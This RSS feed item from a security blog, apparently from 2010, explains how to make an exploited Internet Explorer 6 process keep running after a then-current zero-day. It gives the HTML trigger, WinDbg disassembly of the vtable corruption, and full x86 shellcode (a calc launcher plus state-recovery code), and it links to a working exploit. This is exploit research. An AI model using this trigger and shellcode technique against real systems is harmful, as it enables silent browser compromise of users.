<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hdlsec</title>
	<atom:link href="http://hdlsec.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hdlsec.com</link>
	<description>sigannos, no los vamos a defraudar!</description>
	<lastBuildDate>Mon, 15 Nov 2010 02:29:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Process continuation after exploit. (aka. internet explorer is my process launcher)</title>
		<link>http://hdlsec.com/exploiting/process-continuation-after-exploit-aka-internet-explorer-is-my-process-launcher/</link>
		<comments>http://hdlsec.com/exploiting/process-continuation-after-exploit-aka-internet-explorer-is-my-process-launcher/#comments</comments>
		<pubDate>Mon, 15 Nov 2010 02:22:00 +0000</pubDate>
		<dc:creator>snf</dc:creator>
				<category><![CDATA[exploiting]]></category>

		<guid isPermaLink="false">http://hdlsec.com/?p=52</guid>
		<description><![CDATA[Last week another 0day was discovered in the wild exploiting Internet Explorer. And as the bug wasn&#8217;t hard to trigger/exploit in IE 6, I thought that it would be good to add another decoration to this exploit. As last week I was also talking to some friends about why exploit writers are not interested on [...]]]></description>
			<content:encoded><![CDATA[<p>Last week another 0day was discovered in the wild exploiting Internet Explorer. And as the bug wasn&#8217;t hard<br />
to trigger/exploit in IE 6, I thought that it would be good to add another decoration to this exploit.<br />
As last week I was also talking to some friends about why exploit writers are not interested on recovering process (or why don&#8217;t they do it), I decided to write this post.<br />
Here will describe how to make IE6 continue after it has been successfully exploited using last 0day bug.</p>
<p>The trigger for the bug is:</p>
<div class="codecolorer-container text twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;table style=&quot;position: absolute; clip: rect(0);&quot;&gt;</div></div>
<p>When we trigger the bug we see that we are using a defaced vtable, in my IE, i see that the jump comes from EnsureDispNodeBackground:</p>
<div class="codecolorer-container text twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0:000&gt; ub 7dcb1c3f<br />
mshtml!CLayout::EnsureDispNodeBackground+0x81:<br />
7dcb1c2d 33f6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp; esi,esi<br />
7dcb1c2f 46 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;inc &nbsp; &nbsp; esi<br />
7dcb1c30 56 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;esi<br />
7dcb1c31 8bcf &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx,edi<br />
7dcb1c33 e813e2ffff &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;mshtml!CDispNode::SetBackground (7dcafe4b)<br />
7dcb1c38 8b07 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,dword ptr [edi] ;&lt;-- pointer to chaos<br />
7dcb1c3a 8bcf &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx,edi<br />
7dcb1c3c ff5030 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;dword ptr [eax+30h]</div></div>
<p>As you can see, the object is in edi, so it takes the vtable from object[0] and then dereferences vtable+0&#215;30 to get the function.</p>
<p>After some research discovered that the vtable address was being overwritten by the function CDispNode::SetUserClip when trying to set a flag on a miscalculated address.</p>
<div class="codecolorer-container text twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mshtml!CDispNode::SetUserClip+0x84:<br />
7dd8b5d0 e8b4ddffff &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;mshtml!CRect::RestrictRange (7dd89389)<br />
7dd8b5d5 8b4704 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,dword ptr [edi+4]<br />
7dd8b5d8 23c6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;and &nbsp; &nbsp; eax,esi<br />
7dd8b5da 0fb688101cc37d &nbsp;movzx &nbsp; ecx,byte ptr mshtml!CDispNode::_extraSizeTable (7dc31c10)[eax]<br />
7dd8b5e1 8bc7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,edi<br />
7dd8b5e3 c1e102 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;shl &nbsp; &nbsp; ecx,2<br />
7dd8b5e6 2bc1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sub &nbsp; &nbsp; eax,ecx<br />
7dd8b5e8 830801 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;or &nbsp; &nbsp; &nbsp;dword ptr [eax],1 ;&lt;-- the address of the vtable is on *eax</div></div>
<p>The main idea of autorecovering exploits is that we can give the process the same state that it had before being exploited and this bug is perfect for this!.<br />
The only corruption we have when the bug is triggered is 1 bit (afaik). We don&#8217;t really know if the vtable of the object is used again, but we are gonna fix it and set eax to 0 (the function failed).</p>
<p>I have used this shellcode <a href="http://code.google.com/p/w32-exec-calc-shellcode/">http://code.google.com/p/w32-exec-calc-shellcode/</a> , greets to berendjanwever for being first on google when searching calc shellcode and having a working one, you deserve the mention!<br />
I have not made any modification to it, just added a prologue and epilogue to save/recover the state.</p>
<div class="codecolorer-container asm twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="asm codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">BITS <span style="color: #0000ff;">32</span><br />
<br />
<span style="color: #666666; font-style: italic;">;;; lets patch vtable address</span><br />
<span style="color: #00007f; font-weight: bold;">and</span> <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">edi</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xFFFFFFFE</span><br />
<span style="color: #666666; font-style: italic;">;;; save registers</span><br />
<span style="color: #00007f; font-weight: bold;">pushad</span><br />
<span style="color: #666666; font-style: italic;">;;; push a mark on the stack </span><br />
<span style="color: #666666; font-style: italic;">;;; (lazy stack recovery after the payload is executed)</span><br />
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0xdead1337</span><br />
<span style="color: #666666; font-style: italic;">;; here starts the shellcode for launching the calculator</span><br />
<span style="color: #666666; font-style: italic;">;; &nbsp;============================================</span><br />
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #00007f;">esi</span><br />
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #00007f;">esi</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x30</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0xc</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x1c</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
l1<span style="color: #339933;">:</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x8</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x3c</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span><span style="color: #00007f;">ebx</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x78</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebp</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x18</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">jcxz</span> l1<br />
l2<span style="color: #339933;">:</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x20</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebp</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">edi</span><span style="color: #339933;">+</span><span style="color: #00007f;">ecx</span><span style="color: #339933;">*</span><span style="color: #0000ff;">4</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebp</span><br />
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #00007f; font-weight: bold;">cdq</span><br />
l3<span style="color: #339933;">:</span><br />
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">dl</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">edi</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">ror</span> <span style="color: #00007f;">dx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x1</span><br />
<span style="color: #00007f; font-weight: bold;">scasb</span><br />
<span style="color: #00007f; font-weight: bold;">jnz</span> l3<br />
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">dx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xf510</span><br />
<span style="color: #00007f; font-weight: bold;">loopne</span> l2<br />
<span style="color: #00007f; font-weight: bold;">jnz</span> l1<br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x24</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebp</span><br />
<span style="color: #00007f; font-weight: bold;">movzx</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">word</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">edx</span><span style="color: #339933;">+</span><span style="color: #00007f;">ecx</span><span style="color: #339933;">*</span><span style="color: #0000ff;">2</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x1c</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebp</span><br />
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">edi</span><span style="color: #339933;">+</span><span style="color: #00007f;">edx</span><span style="color: #339933;">*</span><span style="color: #0000ff;">4</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #0000ff;">0x6578652e</span><br />
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #0000ff;">0x636c6163</span><br />
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esp</span><br />
<span style="color: #00007f; font-weight: bold;">xchg</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span><br />
<span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #00007f;">ebp</span><br />
<span style="color: #666666; font-style: italic;">;; &nbsp;============================================</span><br />
<span style="color: #666666; font-style: italic;">;;; then recover stack, search for our mark</span><br />
l10<span style="color: #339933;">:</span><br />
&nbsp; &nbsp; <span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">eax</span><br />
&nbsp; &nbsp; <span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xdead1337</span><br />
&nbsp; &nbsp; <span style="color: #00007f; font-weight: bold;">jne</span> l10<br />
<span style="color: #666666; font-style: italic;">;;; restore registers</span><br />
<span style="color: #00007f; font-weight: bold;">popad</span><br />
<span style="color: #666666; font-style: italic;">;;; return from the function with error</span><br />
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #666666; font-style: italic;">;;; if the function had arguments we should clean them </span><br />
<span style="color: #666666; font-style: italic;">;;; depending on the calling convention (not here :-) )</span><br />
<span style="color: #00007f; font-weight: bold;">ret</span><br />
<span style="color: #666666; font-style: italic;">;;; should never reach this point</span><br />
int3</div></div>
<p>As we can see, recovering from the exploit is not difficult for this bug. Anyways, it could be pretty more difficult when exploiting other bugs that do more memory corruption.</p>
<p>The final working exploit is here: <a href="http://hdlsec.com/users/~snf/exploits/ie_clip.html">http://hdlsec.com/users/~snf/exploits/ie_clip.html</a> (open at your own risk <img src='http://hdlsec.com/hdlwp/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</p>
<p>And the demo (for not believers) showing the exploit working 3 times and Internet Explorer still working: <a href="http://www.youtube.com/watch?v=dgV9q9Cw0PU">http://www.youtube.com/watch?v=dgV9q9Cw0PU</a>.</p>
<p>Interesting slides about process continuation:<br />
User friendly exploits, <a href="http://www.immunitysec.com/downloads/skylar_cansecwest09.pdf">http://www.immunitysec.com/downloads/skylar_cansecwest09.pdf</a></p>
<p>Greetz to all my friends and coworkers.<br />
And sorry to all of them who were expecting a spanish post.</p>
]]></content:encoded>
			<wfw:commentRss>http://hdlsec.com/exploiting/process-continuation-after-exploit-aka-internet-explorer-is-my-process-launcher/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

